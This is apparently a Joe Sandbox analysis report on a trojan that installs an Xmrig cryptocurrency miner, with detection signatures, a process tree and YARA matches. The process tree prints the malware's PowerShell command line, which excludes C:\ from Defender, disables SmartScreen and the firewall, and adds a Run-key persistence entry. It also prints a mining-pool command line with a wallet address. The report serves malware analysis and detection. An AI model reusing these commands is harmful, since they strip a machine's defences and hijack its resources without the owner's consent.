Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
2dOeahdsto

Overview

General Information

Sample Name:2dOeahdsto (renamed file extension from none to exe)
Analysis ID:671812
MD5:a0e067202878bd30c6b2a0583982f1fd
SHA1:b1bccf4a24d19c2c5626d9de0a2af042e2be66e1
SHA256:e1dcadc94c7659b12eca375e35858bf68ea02a626078dd5e41eb9bede572417c
Tags:exetrojan
Infos:

Detection

Xmrig
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected Xmrig cryptocurrency miner
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Uses netsh to modify the Windows network and firewall settings
Found strings related to Crypto-Mining
Query firmware table information (likely to detect VMs)
Uses the Telegram API (likely for C&C communication)
Machine Learning detection for sample
Creates files in the system32 config directory
May check the online IP address of the machine
Adds a directory exclusion to Windows Defender
Machine Learning detection for dropped file
Modifies the windows firewall
Drops PE files to the application program directory (C:\ProgramData)
Contains functionality to query locales information (e.g. system language)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Contains functionality to launch a process as a different user
Stores files to the Windows start menu directory
Too many similar processes found
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
Contains functionality to simulate keystroke presses
Downloads executable code via HTTP
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Modifies existing windows services
OS version to string mapping found (often used in BOTs)
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Creates a start menu entry (Start Menu\Programs\Startup)
PE file contains more sections than normal
Contains functionality to retrieve information about pressed keystrokes
Dropped file seen in connection with other malware
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard
Queries the volume information (name, serial number etc) of a device
Yara signature match
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Deletes files inside the Windows folder
Contains functionality to shutdown / reboot the system
Creates files inside the system directory
Contains functionality to execute programs as a different user
PE file contains sections with non-standard names
Found potential string decryption / allocating functions
Contains functionality to communicate with device drivers
Contains functionality to read the clipboard data
Contains functionality which may be used to detect a debugger (GetProcessHeap)
IP address seen in connection with other malware
Enables debug privileges
AV process strings found (often used to terminate AV products)
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to launch a program with higher privileges
Contains functionality to detect virtual machines (SLDT)
Enables security privileges
Uses taskkill to terminate processes
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Contains functionality to simulate mouse events
Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Classification

Process Tree

  • System is w10x64
  • 2dOeahdsto.exe (PID: 7136 cmdline: "C:\Users\user\Desktop\2dOeahdsto.exe" MD5: A0E067202878BD30C6B2A0583982F1FD)
    • conhost.exe (PID: 7148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • powershell.exe (PID: 4016 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 3004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • UpSys.exe (PID: 4824 cmdline: "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe MD5: EFE5769E37BA37CF4607CB9918639932)
        • UpSys.exe (PID: 4440 cmdline: "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe MD5: EFE5769E37BA37CF4607CB9918639932)
          • UpSys.exe (PID: 6980 cmdline: "C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe MD5: EFE5769E37BA37CF4607CB9918639932)
            • powershell.exe (PID: 2200 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" MD5: 95000560239032BC68B4C2FDFCDEF913)
              • conhost.exe (PID: 5596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • netsh.exe (PID: 6756 cmdline: "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off MD5: 98CC37BBF363A38834253E22C80A8F32)
    • Database.exe (PID: 6524 cmdline: --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxx MD5: EAB270D7108D82EE602CE25C64A5740F)
    • cmd.exe (PID: 2828 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 6596 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 6764 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 5124 cmdline: taskkill /IM Database.exe /F MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 6560 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 3476 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 6820 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6872 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 6952 cmdline: taskkill /IM Database.exe /F MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 6876 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • Database.exe (PID: 7152 cmdline: --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxx MD5: EAB270D7108D82EE602CE25C64A5740F)
    • cmd.exe (PID: 856 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 2420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 6880 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 4904 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 6044 cmdline: taskkill /IM Database.exe /F MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 6944 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 2780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 1556 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 5068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • conhost.exe (PID: 3160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • taskkill.exe (PID: 3788 cmdline: taskkill /IM Database.exe /F MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
          • conhost.exe (PID: 1380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • taskkill.exe (PID: 5436 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 6712 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 3392 cmdline: taskkill /IM Database.exe /F MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 2936 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 4860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • Database.exe (PID: 2108 cmdline: --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxx MD5: EAB270D7108D82EE602CE25C64A5740F)
    • cmd.exe (PID: 3468 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 1212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 6320 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 5068 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
    • cmd.exe (PID: 2704 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 2316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 1760 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 4236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 5196 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 1352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 6264 cmdline: taskkill /IM Database.exe /F MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 7156 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 2964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 5440 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 4720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 6276 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 6216 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 5372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 6884 cmdline: taskkill /IM Database.exe /F MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 1388 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 1668 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • Database.exe (PID: 5404 cmdline: --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxx MD5: EAB270D7108D82EE602CE25C64A5740F)
    • cmd.exe (PID: 5680 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 2780 cmdline: taskkill /IM Database.exe /F MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 7016 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • System.exe (PID: 6648 cmdline: "C:\ProgramData\MicrosoftNetwork\System.exe" MD5: A0E067202878BD30C6B2A0583982F1FD)
    • conhost.exe (PID: 6916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • powershell.exe (PID: 6904 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System ?? Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty ?? Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ?? Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 6984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • UpSys.exe (PID: 6428 cmdline: "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe MD5: EFE5769E37BA37CF4607CB9918639932)
        • UpSys.exe (PID: 4412 cmdline: "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe MD5: EFE5769E37BA37CF4607CB9918639932)
          • UpSys.exe (PID: 3268 cmdline: "C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe MD5: EFE5769E37BA37CF4607CB9918639932)
      • netsh.exe (PID: 4864 cmdline: "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off MD5: 98CC37BBF363A38834253E22C80A8F32)
    • cmd.exe (PID: 1348 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 3144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 1372 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
        • conhost.exe (PID: 6868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • taskkill.exe (PID: 7120 cmdline: taskkill /IM Database.exe /F MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 3200 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 5228 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 792 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 1372 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
    • cmd.exe (PID: 5772 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 2316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 4876 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 1320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 3448 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 2992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 728 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 1332 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 2932 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 5164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 4420 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 3044 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM Database.exe /F && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 5784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 5984 cmdline: taskkill /IM Database.exe /F MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 4160 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 6588 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 1388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 3788 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
    • cmd.exe (PID: 5384 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 7100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • Database.exe (PID: 6408 cmdline: --url pool.hashvault.pro:80 --user 47VtXKD1xoACvxX1aDMAmWGGESK5kD9EojKZwraNVYtE2HTwdrnhHxPbqy7MisCE3LHgYoJ6gGVL5GwiLxaxppNTV8zb92a --pass xxx MD5: EAB270D7108D82EE602CE25C64A5740F)
    • cmd.exe (PID: 5084 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 4200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 3268 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 6448 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 5856 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 6092 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 6248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 6124 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 4360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • cmd.exe (PID: 7176 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 7276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • taskkill.exe (PID: 7488 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)
    • cmd.exe (PID: 7268 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
      • conhost.exe (PID: 7420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Windows\Temp\lzrtlkcMAL_Sednit_DelphiDownloader_Apr18_2Detects malware from Sednit Delphi Downloader reportFlorian Roth
  • 0x72b0:$s7: 536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E
  • 0x674:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x70a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x493a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x4a6c:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x4afe:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x5c7a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x67ce:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x7236:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x72ae:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x732e:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x9c82:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
C:\Windows\Temp\wumeiftMAL_Sednit_DelphiDownloader_Apr18_2Detects malware from Sednit Delphi Downloader reportFlorian Roth
  • 0x72b0:$s7: 536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E
  • 0x674:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x70a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x493a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x4a6c:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x4afe:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x5c7a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x67ce:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x7236:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x72ae:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x732e:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
  • 0x9c82:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
